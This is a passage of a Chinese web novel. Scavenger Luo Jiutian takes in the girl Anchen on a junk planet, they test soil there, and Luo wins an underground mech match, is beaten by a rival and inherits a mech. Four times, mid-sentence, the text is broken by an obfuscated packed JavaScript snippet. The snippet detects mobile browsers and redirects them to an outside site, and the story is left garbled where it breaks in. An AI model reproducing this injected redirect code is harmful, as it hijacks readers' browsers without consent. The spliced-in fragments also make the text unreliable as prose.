将俩人都悬挂至窗外,任凭他们挣扎,洛九天低声在文森特头顶的位置道:“5分钟后,你光脑里那些你回味过无数次的视频和图片,将会自动发送到至公开信息流平台以及警局,我劝你慎重发言。” 安陈将那两只光脑扔在地上:“如果你乱说话,我会出庭作证,让你的罪名多加一条。” “走吧。”尤珈看了一下时间:“立方车我设置了自动驾驶,目的地是二手交易市场,已经出发了,我们得去接应一下。” 洛九天走到门口,又倒回来拎起两瓶没有开过的红酒。 “你拿酒做什么?”尤珈问。 洛九天:“呃,看着挺贵的样子就拿了,给麦西大叔吧。” 尤珈点头,也拿起桌上最后一瓶,拎在手里。 三人从第五大道出来的时候,时间还没到正午。 搭乘上前往二手交易市场的电车,洛九天挪了挪屁股,凑到安陈身边:“下午你把能卖的卖掉,应该能回本,那个小冰箱和立方车我喜欢,可以卖给我吗?” 安陈摇头:“不能。” 洛九天疑惑:“啊?你留着也没用啊,卖给别人不如卖给我。” “有用,我想跟你去垃圾星。”安陈抬眼看着洛九天:“这些东西算我入伙的投名状。” “噗!”旁边的尤珈笑喷:“投名状,好古老的词,你把九天当星盗吗?话说,你真不打算留在卡培星城吗?你这么聪明可爱,肯定有好心家庭愿意收养。你还小,在卡培星城可以上学,垃圾星的日子没你想象的好过。” “我不想再被收养了。”安陈笑了一下,埋头抠手指。 “那你为什么不入我家的伙?”尤珈笑着哼了一声:“难道我家的活动板房还不如她的集装箱?” 安陈想了想,转头眼巴巴看向洛九天:“大概是因为,她家比较缺冰箱吧?” 洛九天扶额望天,叹了口气。其实,也不是不能收留安陈,但是和自己住在一起,实在太危险了。她已经深陷其中,不想将无辜的人牵扯进来。 “回头我找莫莉阿姨借一下探矿机甲,争取给你也搞个集装箱吧,我家旁边是块空地,可以给你安置在那。作为交换,冰箱你就当送我了可以吗?” 安陈愣了一下,旋即明白过来:“谢谢九天!” 尤珈双手抱臂:“我呢?” “谢谢尤珈!”安陈笑了起来。 没有在二手交易市场摆摊,尤珈听安陈的意思,直接将立方车开进了垃圾运输车,等晚上一起运回家。 下午没事,洛九天领着安陈去了福莱诊所。 瓦莱里雅看到跟在洛九天身后的安陈,有点无语地说:“别告诉我刚刚那个新闻就是你们搞出来的?” “什么新闻?”洛九天挑眉,佯装不知。 瓦莱里雅瞥了洛九天一眼:“就是那个《夫妻以领养为名霸占休眠余额,养女失踪,家财被洗,养子坠楼疑是他杀》,新闻里说香水街某男子赤身被挂窗外,星城警局已经介入调查了,你不会还没看吧?” 洛九天嘿嘿一笑:“还没来得及。” “那你这次找我有什么事?她身上的伤处理得很好,不用再治疗了。”瓦莱里雅挥挥手,想赶人。 洛九天轻车熟路地往后面的观察室走:“当然是让你赚钱啦。” “她也要去垃圾星?”瓦莱里雅有些惊讶。 “瓦莱里雅,你真聪明。”洛九天掏出光脑付钱:“TIDE控制剂和巨蒙鼠疫苗,麻烦你安排一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958895|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十万星币转眼就没了,洛九天心里还是有点痛,她给自己接了一杯水,猛灌下肚,又续上。 安陈凑到洛九天耳边,悄悄说:“九天,是不是很贵啊?” 洛九天愣住,摇头。 “我会还给你的。”安陈漂亮的小鹿眼眨巴眨巴,让洛九天的内心有点融化。 啊!好歹是一个地方出来的老乡,她怎么!可以!抠门! 注射完毕,洛九天眼睛发亮,盯着瓦莱里雅:“瓦莱里雅,你看她,还在生长发育期,又瘦又弱带着伤,营养肯定不够吧?” “……” 瓦莱里雅嘴角抽了一下,从药架上拿下来一盒营养片,往洛九天怀里一扔,就把她往外推:“赶紧走,别挡着门。” “好的,瓦莱里雅再见。”洛九天将营养片往兜里一揣,挥手告别,还贴心地拉上了玻璃门。 晚上。 洛九天和安陈搭乘尤珈的垃圾运输飞船,回到了垃圾星,三人坐在集装箱里,清理立方车里的物品。 除了洛九天在屋里找到的那些,剩下最多的就是衣服。 将衣服都拿出来后,洛九天沉默了。 文森特的审美实在是一言难尽,各种碎布条亮片点缀,各种吊带镂空漏肉,一点实穿价值都没有。 “我们……难道要穿这个衣服在垃圾星开Party吗?”洛九天问。 尤珈笑得肚子疼:“好像也不是不可以。” 洛九天:“亏了啊。算了,能穿就穿,不能穿的就摆摊卖了吧。” 安陈点头,举手发言:“这些东西是你们帮忙拿回来的,我的想法是我们平分,衣服我可以去摆摊卖掉再给你们分钱。” 尤珈:“不用了,你这些东西我拿着也没什么用,你才搬过来,正好缺,你都留着吧。” 洛九天点头:“其他的我也不要了,那个电炉就放我这里吧,我能充电,咱们可以搭伙做饭。” “不行。”安陈很坚持。 “小安陈,不是所有战利品都必须平分的。”尤珈提着红酒:“走吧,我妈咪说,你今天还得再换一次药,就到我家住吧,九天这里连个像样的床都没有。” “……”洛九天无语地瞪了尤珈一眼,她的床明明很像样好不好! 第二天,洛九天就拎着红酒去找麦西,打听集装箱的消息。没想到赶了个巧,正好中转环有几个集装箱要报废。当天晚上,很有经验的洛九天,开着探矿机甲,成功抢到一个集装箱,为安陈搞定新家。 大部分东西都搬到了安陈的集装箱里,洛九天也如愿以偿免费获得了那台冰川蓝的小冰箱。 安陈开始在交易街摆摊卖衣服,她的摊位就摆在东升副食店旁边。 可惜的是,她的生意并不好,看热闹的人多,但没几个真的愿意买回去穿。洛九天有时候也在旁边陪她一起摆摊,卖一些捡来的材料或者二手零件,还支了个牌子,上面写着“维修家电”。 也就是在摆摊的时候,洛九天终于见到了东升副食店的老板,开办垃圾星孤儿所的夏因。 22. 代打 夏因是一个五十多岁的女人,穿着一件短袖衬衫,身形很瘦,以至于长度合适的衬衫看上去有些过于宽松。 路过的人都对她很尊敬,有的叫她“夏老板”,年轻一些的叫她“夏老师”。 她看向洛九天的眼神十分平淡,但洛九天却下意识挺直了脊背。 这个夏因,会是感染REST病毒的那个夏因吗?会是苍旻基地的员工吗?会是母亲洛晓河的同事吗? 洛九天带着满腹疑问,没有支声。 夏因扭头看向安陈:“新来的小姑娘,你多大啦?” “12岁。”安陈像被点名了一样,站了起来。 夏因点点头,看了一眼她脚下摆的摊位:“如果你遇到无法解决的事,可以来找我。” 安陈愣了一下:“谢谢,暂时没有。” 夏因的脸上浮现出淡淡的笑,没有再说什么,径直进了副食店后院。 等夏因走后,安陈凑到洛九天身边,小声道:“好奇怪啊九天,不知道为什么,我感觉我见过她,但是好像见到的又不是她。” “嗯?” 安陈想了一下,接着说:“就是……我见过年轻版的她。对,一定见过。”说到最后一个字的时候,安陈的语气已经很确定。 洛九天心跳加速,这个夏因很可能就是那个夏因,也很可能是苍旻基地的人,但她不能就这么冒然地跑过去问,按捺住心中的激动,她道:“今天咱们就先收摊吧。” 等收摊回了家,洛九天问出了最想知道的问题:“你是怎么感染REST病毒的?” “你怎么知道?”安陈睁大眼睛,很是惊讶。 洛九天声音发沉:“我也是因为感染REST病毒才休眠的,和你同一天,来自同一个地方。” “春风驿——”安陈声调陡然拔高,洛九天连忙捂住她的嘴巴。 安陈的脸色因为激动一下子涨得通红:“你也是?” 洛九天点头。 安陈嘴唇颤动,半晌才开口:“我原来就住在春风驿,后来听说要建一个科技研发中心,整个镇都拆迁了,我家得了很多拆迁款。” 她神色黯了一下:“我妈很早就去世了,我爸找了个新老婆,生了个弟弟,他们拿拆迁款买了房子搬走了。后来我得了脑癌,他们不愿意给我花钱……我想就算要死,也要死在我妈墓地附近,所以我就偷偷回了春风驿,本来以为没地方住,结果发现旧房子没有拆,就想着,住下来等死也不错。要不是那天导弹爆炸的时候,我刚好在路边,估计没人会发现我……我也不知道怎么回事就中毒了,也不知道算不算因祸得福,你呢?” “我当时也在那里,就是你说的那个科技研发中心外面,那颗导弹携带了生化病毒,所以……”洛九天抿了抿唇:“安陈,我们的来历不能让任何人知道,否则可能会有生命危险,我暂时无法跟你解释,我也没找到答案。” 安陈没有问原因,只回答道:“好,我知道了。” 吃完晚饭,垃圾场的探照灯亮起,垃圾倾倒下来,拾荒者们开始忙碌起来。 洛九天带着安陈去捡垃圾,顺便教她一些基础的材料知识。走着走着,安陈蹲在了地上,望着路边一颗厚叶的草。 “你看什么呢?”洛九天好奇地问。 “这里有很多这种草,是蓝星没有的。”安陈说:“这里重金属含量超标严重,但是它们还能长得这么好。” 洛九天想起来之前自己见过的那片绿地,之前还说要挖回来研究来着,结果一忙就抛到脑后了。 “我知道一个地方,比这里长得更好,我带你去。” 凭着记忆,在垃圾山的夹缝里七弯八拐,洛九天总算找到了上次见过的那片绿地。 这边的垃圾堆已经荒废,没有探照灯,洛九天开启了光脑的手电筒功能。 光朝着绿地的方向照射过去,安陈的眼睛也跟着发亮:“哇,你怎么找到的?” “无意间路过发现的。” 安陈蹲地上研究了一会儿,开始挖土。 她扒开不同位置的厚叶草,从边缘一直到绿地中心,采集不同区域的样本,分批次装进口袋里。 “九天,我们快回去。”安陈拍掉手臂上沾着的枯枝烂叶,搓了搓手:“你那个清洁机器人,是可以检测土壤数据的吧?我前天在面板上看到了。” “有,但我没用过。” 回到集装箱,九天喊了一声:“杀手。” 九天只有晚上需要垃圾清理的时候,才会叫他,所以大多数时候,杀手都处于休眠状态,没有什么存在感。 这会儿不同,俩人几乎把全部注意力都集中在杀手的检测扫描仪上。 一份一份的土壤扫描过去—— “土壤样本检测结果,重金属污染严重,超标60%。” “土壤样本检测结果,重金属污染严重,超标43%。” …… “土壤样本检测结果,重金属污染轻微,超标1%。” 1%! 洛九天知道这意味着什么,如果在垃圾星能找到重金属含量只超标1%的土壤,意味着这个数字还可以更低,说不定垃圾星真的可以种菜。 安陈将检测结果一一记录下来:“九天,我怀疑这种厚叶草,是一种超富集植物,它能吸收土壤中的重金属,修复土壤污染,不过为什么样本差别这么大,我还不清楚。明天我不去摆摊了,可能会有点忙,我得做几个小实验。” “好,正好我明天要去修机甲。”洛九天没问她要做什么实验:“有什么东西需要我给你带回来的吗?” 安陈想了想,摇头:“暂时还不需要。” 之后连续好几天,安陈要么在那片绿地挖泥巴,要么在集装箱研究土壤,洛九天除了叫她吃饭,很少能和她说上话。 洛九天忙着修机甲,经常往地下赛场跑,克劳恩甚至对她开放了机甲驾驶权限,让她可以上去试试手感,再进行细节调整。 时间过得很快,机甲修理也到了尾声,一个月后,洛九天再次来到地下赛场,打算进行最后的微调,就结束这次的维修。 主要是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958896|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台机甲她已经完全摸透了,如果不加钱换核心部件的话,她也改不出什么花来。 结果这一次,克劳恩居然没在。 好在洛九天有开门权限,自己打开卷帘门就行。 她调整完毕,又试了试手感,自我感觉十分满意,就等着克劳恩来验收,左等右等克劳恩一直没有出现,却看到走廊的大屏幕弹出来一条比赛预告。 百目鬼VS克劳恩 时间是30分钟后。 洛九天连忙给克劳恩发信息:今天有你的比赛,你怎么还不来? 克劳恩很快回复:来不了,在被追杀。 洛九天:? 克劳恩:你帮我打,我没拒赛次数了,不打会扣钱 洛九天:啊? 克劳恩:可以申请换机甲驾驶员,如果对方同意的话,就可以继续比赛。 洛九天:……我不是很想打…… 克劳恩:上去随便打两下,认输就行 洛九天:那赢了呢 克劳恩:你要是能赢,机甲送你 洛九天:打就打,你不要激将我 她站起来,走向那块大屏幕,在角落找到“申请更换驾驶员”,点进去,需要填写更换理由。 理由?什么理由,总不能说因为克劳恩在被仇家追杀,所以不能来参加比赛吧。 那对面这个叫百目鬼的参赛者,肯定不会同意更换驾驶员。 洛九天琢磨了一下,在填写栏输入两个字“垃圾”,并手滑使用了随之弹出来的手势表情包。 大屏幕上,比赛预告的界面上,赫然出现一条驾驶员更换申请——参赛者克劳恩申请更换驾驶员,理由:垃圾,大拇指朝下.jpg! 讽刺效果一下子拉满。 人群中顿时炸了锅,观众们议论纷纷。 “克劳恩什么意思,是觉得百目鬼太垃圾了,不愿意亲自上场吗?” “我咋感觉那个手势像要戳瞎百目鬼的眼睛呢。” “……” 对面的百目鬼几乎是瞬间点了同意。 洛九天一颗心都提了起来,她难道不是来修机甲的吗?怎么修着修着,修到赛场上去了…… 好吧,反正输赢无所谓,洛九天换上驾驶服,爬进机甲的驾驶舱。 克劳恩没有为这台机甲取名,但洛九天在心里一直叫它小丑。她抬起头,透过小丑的视野看外面,心逐渐平静下来。 这台机甲是她修理的,每一个零件都摸索过,她对所有操作系统了然于心,只是没有进行过对战而已。 也正是因为这台机甲是她修理的,她不是很想输。 比赛很快开始,洛九天驾驶机甲进入赛场。身在其中,赛场比围观的时候,看起来要大一些。 百目鬼的机甲名为“百目”,是一台轻型机甲,机甲手臂上装置了几十个像眼睛一样的电磁炮口,发射过程可以对周围的机甲进行电磁干扰,使驾驶舱数据显示发生错误,从而干扰驾驶员判断。 这种机甲对大部分参赛者来说,都是很恶心的。 23. 签约 百目的机甲配置,注定它并不善于防守,百目鬼率先发起了攻击。 洛九天操控机甲抵挡,很快,屏幕上的数据就开始上下波动,乱成一团。 她没有慌。 这种情况对其他人或许不利,但她是这台机甲的维修师!她比任何人都了解这台机甲的真实数据。 洛九天几乎不再看屏幕数据,无视对方的干扰,果断发起进攻。 维修后的机甲,比之前顺滑很多,在小丑的裙甲边缘,装置了一圈磁力球。看上去是花花绿绿的小丑装饰,实际上却是出其不意的武器。 洛九天冲到百目面前,虚晃一招,直接绕背到后面,将一颗磁力球抛掷到百目的背心处。 如果她猜得不错,那里有一个能量很大的磁场。 磁力球激活,直接被吸附了上去。 洛九天瞬间往后退,远离百目的攻击范围,与此同事,裙甲上剩下的5颗磁力球同时启动,小丑将磁力球径直向上抛出。 5颗球在空中旋转,产生强大的吸附力,贴在百目背后的那一颗磁力球开始不断拉扯机体,想要往空中汇聚。 百目鬼操控机甲,双腿发力,想要稳住机甲的姿势,却被吸附力拖着一步步往前移动。 洛九天适时发起攻击,专门用光束匕首看向百目的双腿,打乱对方阵脚。 条件反射之下,百目鬼发生错误操作,抬起了右腿,机甲瞬间失横,开始跟随半空中的5颗磁力球旋转,完全失去了战斗力。 百目鬼最后不得不关掉了磁场,放弃了比赛。 洛九天看得很清楚,对面的参赛者一跳下机甲,就趴在地上吐了…… 她第一次打比赛,居然把对面的参赛者转吐了? 比赛获得胜利,洛九天心情很好,驾驶机甲回了机甲调整室,从里面出来,长舒了一口气。 经过这场比赛,她对小丑的性能已经完全了解,新加上去的磁力球也发挥了作用,她很满意,也很放心,摸了摸这台机甲,和小丑告别,关门离开。 这时候,走廊的大屏幕上正在开始新一场次的比赛,她停下来观看,不知不觉看得入神,忽然听见背后传来沉重的脚步声,正要扭头回看,一只手朝她后脑勺袭来。 洛九天下意识猛然低头躲避攻击,却没想到那人粗壮的手臂很是灵活,一把抓住了她的一把头发。 力气很大,来人很高,拎着头发把她往上拽。 “终于逮到你了,克劳恩的机甲师,就是你让克劳恩抢我的衔尾蛇反应芯?” 头皮撕裂一样疼,感觉要和头盖骨分离,洛九天被扯得踮起脚尖,听到来人说话,她认出这个魁梧的男人就是奎恩。 看来尤珈说得没错,奎恩果然记恨着她,都这么久了,还没忘了这茬。不过她要想在赛场继续给人修机甲,就必须冒这个风险,总不能为了躲着奎恩,放弃这条练习路子吧。 之前一直没碰到奎恩,是她运气好,但是今天好运气似乎用完了。 “赛场规则就是这样,参加比赛前你不知道吗?”洛九天一边说话分散他的注意力,一边摸出兜里的匕首,刺向奎恩。 对面起码身高2米,有一身健硕肌肉,是少有的不戴面具的参赛者,足以表明他对自己实力的自信。他拎起自己的时候,像拎着一只鸡,洛九天瞬间做出判断,自己暂时无法从格斗中打败他。 匕首刺出,改变了轨迹,锋刃向上飞快地隔断头发,洛九天双脚落地,脚跟一蹬往后急退几步,拉开了和奎恩的距离。 “从来没人敢抢我的东西。”奎恩恼怒地扔掉手里参差不齐的头发:“你人没多大,胆子不小。” 洛九天后退,摸到墙壁上的紧急情况按钮,连续摁了几次:“等一下,赛场禁止参赛者台下互殴,你就拿我一个修机甲的撒气!这么欺软怕硬,岂不是比动力源被抢了更丢人?你要是不服气,大可以和他在赛场上再比一场。” “……你说我怕克劳恩?”奎恩的脸因为怒气而涨红:“我会怕他?他上次能赢不过是运气好,我已经看破了他那些不入流的小丑招数,下一场比赛,我会把他的机甲大卸八块!” “他连像样的机甲师都请不起,等我收拾了你,看谁还敢给他修机甲。”说完,奎恩就像熊一样扑了过来。 洛九天连连闪躲,避开奎恩的攻击。此时走廊一个人都没有,仿佛为即将上演的毒打留了空间。 主持人在屏幕上激动地解说着比赛进程,前台赛场上的机甲对战,刚进入激烈阶段,观众席人声鼎沸,一波波喊叫被隔音墙隔绝在外,又通过大屏幕传至后台。 几个闪身间,洛九天避无可避,被奎恩的拳头打中,右脸颊立刻肿了起来。她被打得有点头晕,身子偏斜靠向墙面,才不至于摔倒在地,匕首落在了地上。 还不等她喘气,两拳又落到身上,洛九天被揍倒在地,骨头里传来一阵钝痛。 奎恩想也不想,踢脚就踹。 洛九天被踹中小腹,痛得身体紧缩在一起,在光滑的地板上滑行了一段。 她顺手将地上的匕首藏进怀着,紧咬着牙关,忍住痛,等着奎恩再次靠近。 “这么不经打?”奎恩大步走过来,十分不满地瘪嘴,躬下身子伸出右手来拽洛九天的衣服。 一道寒光闪过,洛九天扬起匕首划向奎恩的手。 “啊!” 走廊里回响起奎恩的痛呼。 两根手指被削断,但又因为力道不足,没有完全断开,仍然留着一点皮肉挂在奎恩的手上。 血不断从断口往外冒,滴落在地上,汇集成一片。 奎恩怒吼着冲过来:“我要杀了你!” 洛九天从地上爬起来,握紧匕首往后退:“你当然能杀了我,但是错过最佳缝合时间,你的手指就算接上,也没有原来灵活,当然,你也可以接一个钢铁手指。不过操控机甲方不方便,我就不知道了。” 奎恩一听,连忙叫来医疗机器人为自己止血,又通知自己的医生做缝合手术,他看向洛九天:“我不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958897|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放过你——” 洛九天打断他的话:“你打了我三拳踢了我一脚,我断了一根肋骨,你只不过断了两根手指,怎么算都是我比较亏,是我不会放过你。” 嘴唇因为破裂不停流血,洛九天抿了抿,嘴角浮现出一个若有若无的笑。 她的神情让奎恩有一瞬间的疑惑。 洛九天按住紧急情况按钮,再次通知管理人员:“我申请成为参赛者,现在可以过来了吗?” 赛场的管理人员很快出现在洛九天的面前:“您好,签署参赛者合约,需提供机甲持有证或者足以购买一代机甲的资金证明。” “我记得你们还有一种获取参赛资格的渠道。”洛九天看着管理人员。 管理人员有点惊讶:“您是说……您要使用赛场配备的一代机甲,在一年内挑战一百胜?” 这个条约是上次来的时候,洛九天无意中看见的。参赛者使用赛场配备的机甲,机甲由赛场的机甲师改装,要在一年内完成一百胜,既变相给赛场打了广告,又为比赛提供了持续性热度和话题,但如果挑战失败,挑战者将会面临巨额赔偿。 这是一个隐性的对赌合约,无论结局怎样,赛场方都不会亏,所以一般不会拒绝挑战者签约。 洛九天点头。 合约很快递到洛九天面前,洛九天正准备签下,光脑上克劳恩的头像却在跳动。 洛九天接通电话,里面传来克劳恩疲惫的声音:“让你旁边的人接。” 洛九天有些疑惑,但还是把光脑递给了旁边的管理人员。 “把我的机甲转给她。”克劳恩对管理人员说。 他说什么? “克劳恩?喂!” 克劳恩挂断了电话。 什么情况? 卧槽,难道克劳恩不是个抠门鸡贼的穷鬼,居然是那种言出必行言而有信的人? 不对,她都知道那话是开玩笑的,她根本没想过要克劳恩的机甲。 难道是克劳恩被追杀要死了,所以给她留遗产了? 管理人员当即办理了机甲转移,重新递过来一份参赛者合约。 事已至此,洛九天按捺住心中的疑惑,先签了合约保命。 “现在可以为我提供安全保护了吗?”洛九天指着奎恩:“他如果再像刚才那样对我动手怎么办?” 管理人员:“您享有赛场的安保,如果有参赛者在台下对您使用暴力,我们将会做一年禁赛处理。” 说完,管理人员指挥医疗机器人上来为洛九天验伤治疗。 奎恩不满地吼叫着,被医护人员和医疗机器人簇拥着往外推,他骂道:“别让我在赛场上遇到你,小心我把你捶成破烂!” “是吗?”洛九天轻声说:“可是我还蛮期待在赛场上遇到你的。” 处理完伤势,洛九天给克劳恩发消息。 洛九天:我不信你这么大方,你不会是要死了吧? 克劳恩:你宁愿信我要死了,都不信我真大方。 24. 好心 洛九天思索着克劳恩的话,对他的“大方”存疑。为什么会那么巧,她刚要签挑战者合约,克劳恩就向她伸出援手。 似乎一切都在克劳恩的观察之下发生,他隔岸观火。 洛九天扭动酸痛的脖颈,抬起眼皮,目光在机甲调整室和走廊之间来回搜寻。 光脑又弹出来一条消息。 克劳恩:摄像头在卷帘门左侧的轴承端口上。 洛九天愣了一下,没有动。 克劳恩:不是用来监视你的,在这里混,总得做点防备工作,不然你以为奎恩为什么一直没有逮到我,哎,可惜你就比较倒霉咯。 洛九天抿唇:如果你没法活着回来,倒霉的就是你而不是我,挨一顿打白得了个机甲也还行的样子。 克劳恩:就这么想我死吗? 洛九天:不想死就说实话。 克劳恩没有回复,洛九天摸了摸自己右下腹,那里断了一条肋骨,虽然经过医疗机器人的紧急处理,已经贴上了固定胶布,但还是隐隐作痛。 赛场没有巡逻机器人,也不限制她呆在机甲调整室过夜,洛九天打算今晚上不回垃圾星,就在这里住一晚上。 折腾了大半天,还没吃上一口食物,她当即招来服务机器人点餐。赛场为选手免费提供餐饮,之前她修机甲的时候,也蹭过几次克劳恩点的饭,味道还不错。 机器人的菜单列表上,各种热食冷食饮料都有,洛九天看得眼花缭乱,最后十分不争气地为自己点了一份炸鸡可乐。 想来签约也没什么不好,起码能吃顿饱饭。 吃饱喝足之后,她仰躺在地板上,打了一个气嗝,肋骨断裂处被扯得疼了一下。 恍惚之间,洛九天想起母亲洛晓河说过的话。 她说:“九天,人的□□如此脆弱,会因为外力击打而断裂破损,受伤流血,如果光凭人体力量,一个小孩打不赢壮汉,人类也无法战胜凶猛的星兽,但人的造物能力如此强大,可以借由金属、能源、工具,实现超越自身□□极限的力量。机甲是人造物,是人类强化的外沿,人因此获得钢筋铁骨。” 洛九天转过头去,看向坐在机甲调整室的机甲——小丑。最开始,它是她的修理对象,但就在今天,她驾驶着它作战,一起打赢了对手。 就在她快要睡着的时候,克劳恩的消息忽然传来:追杀我的人查到了这台机甲,就在今天早上,这台机甲暴露了,我不能再驾驶它,但又舍不得卖给别人。 洛九天瞟了一眼,心中暗骂了一声,回复:不是舍不得卖给别人,是根本没人敢接手吧?克劳恩,我就知道你没安好心! 克劳恩:这怎么能叫没安好心呢,这是通过战术达成深度合作。 洛九天不想理他。 克劳恩:你放心,他们追杀的是我,发现机甲转卖不会为难你的,不过,我现在没有机甲在手,参赛者合约解除,要是奎恩找我麻烦……哎,我本来和奎恩无冤无仇,都是因为…… 洛九天知道他的潜台词想说什么,心中计较了一番,咬牙切齿回应:我给你组个新的,不过我只出一半的钱。 克劳恩:爽快,我肯定活着回来。 说完,俩人断了联系,洛九天却有点睡不着了。 克劳恩把机甲转给了她,确实解了她一时之急,否则她就要去签那个坑死人不偿命的挑战者合同。仔细想想,她替克劳恩重新设计一台新的机甲,也没什么,就当练手。 不过在她心里,小丑几乎是为克劳恩打造的,最适合他的机甲,要重新设计一台新的机甲,肯定得和小丑有所区别。 她有些犯难。 左思右想没有头绪,洛九天抬起手臂打开光脑,开始逛机甲论坛,寻找创新突破点。 她思考入神,没留意尤珈给她发的消息,直到半小时后,尤珈弹出来一条语音通话。 洛九天从设计思路中抽离,点击接通。 那边传来尤珈焦急的声音:“九天,你人呢,安陈说你没回家,她又没光脑联系不上你,你还活着吧?” “……”洛九天连忙回答:“活着活着,我今晚睡在机甲调整室。” 尤珈长呼了一口气:“那没事了,我跟安陈说一声,你自己小心点啊。” “好。” 洛九天一直在卡培星城呆到第二天晚上,脸上的青紫消下去不少,在夜色里看不清楚,她把兜帽拉上来拢住脑袋,去搭尤珈的垃圾运输飞船。 飞船一落地,趁着尤珈卸垃圾车的功夫,她就做贼似的,混在垃圾车流中,偷偷溜下了高架台。 等从人群里走出来,洛九天才扯下兜帽,甩了甩汗湿的头发通风。 在机甲调整室耽搁了两天,她今晚回去还有好多捡来的材料要处理,虽然现在手里有了些钱,但她已经打定了主意,能用捡的就绝对不买,否则这点钱根本经不住折腾。 正走着,忽然被人从侧后方叫住。 “九天。” 莫莉从自家的探矿机甲上下来,丢掉手里的抹布,伸手指了指头发:“你这头发怎么回事?” “啊?” 像是在外面打架被逮了个正着,洛九天有一种没来由的拘窘,抓了抓参差不齐的头发:“哦,太热了,我自己剪的。” “还想诓我?”莫莉双眼微瞪,轻哼道:“过来。” 洛九天“哦”了一声,将捡来的材料放在墙角,走了过去。 “正好我没事,就帮你修剪一下吧。”莫莉十分难得地露出笑容,嘴角有个浅浅的梨涡,她指着一张凳子,不容反驳地说:“你先坐。” 洛九天双手抱膝坐在小凳上,见莫莉进了卫生间,洗干净手,不一会儿拿出来一把明晃晃的细长剪刀。 “莫莉阿姨,让我自己来吧。”洛九天伸手要去接莫莉手里的剪刀。 “别动!”莫莉用两根手指控住她转动的脑袋,掰正,拿着剪刀在她发尾一顿比划。 洛九天只好收回手,重新坐直身体,有些难为情地说:“莫莉阿姨,没想到你还会理发。” 莫莉手里的剪刀顿了一下,她随口应道:“哦,也算会吧。我之前老是见尤加利给尤珈剪头发,一直想试试来着。” “……” 洛九天一听就想逃,屁股还没离开小板凳,又被莫莉按了回去。 她威胁道:“你总不想让尤珈还有你收留的那个绿头发小妹妹,知道你打架被打得很惨的事吧?” 洛九天立刻不动了。 剪刀不断发出快而干脆的“咔嚓”声,就像莫莉驾驶探矿机甲冲向巨蒙鼠一样不假思索,十分利落。 过了片刻,莫莉轻轻“啧”了一声,似乎有些不满意,又重新自左往右剪了一遍。 洛九天举着镜子看了一眼,一脸麻木地把镜子搁到一边。 算了。 没救了。 就由着她剪吧。 毕竟莫莉阿姨也没有什么坏心眼。 何况莫莉阿姨还借给她探矿机甲。 在集装箱面前,几根头发算得了什么。 最后,洛九天顶着一头依旧参差不齐的短碎发,淡然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980953|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘回了家。 集装箱门一打开,清洁机器人的面板亮起。 杀手转动机器脑袋,面向洛九天的方向开启面部扫描。 洛九天感觉杀手似乎停顿了一瞬,正担心是不是处理器卡顿,就看见杀手的面板上浮现出一个表情。 ^_^ 有什么好笑的!!! 洛九天瞪了杀手一眼,把垃圾清洁分类的工作交代给它,随后扭头往安陈的集装箱走去。 “九天,你回来啦!”安陈从集装箱里探出头来:“你昨晚上没回来,可担心死我了,哇,你的新发型很清爽哎,回头我也剪个。” 洛九天顿住脚步,被安陈现在的样子吓到。 她绿色的长头发因为没有梳洗,粘黏成一缕一缕的粗条,活像一丛茂盛的荆棘,顶着两个硕大的黑眼圈,眼睛却格外有神,脸颊上沾着草叶,手臂上都是泥巴。 “……你怎么回事?”洛九天走进她的集装箱:“你不会这两天都没吃没喝没睡觉吧?” 集装箱里乱中有序,就地摆放着各种植物和土壤标本,每一块实验标本前,都标注了大段字母和数字,洛九天看不懂上面的意思。 安陈没有回答,兴冲冲走到角落,朝洛九天招手:“你快来看,经过我的多次实验对比,这一块的土壤,应该是重金属污染最轻的一批。之前的猜测没错,厚叶草是一种超富集植物,可以吸收土壤中的多种重金属,多次吸附后,能将土壤中的重金属含量,控制在合理范围内。” 洛九天震惊地看着她。 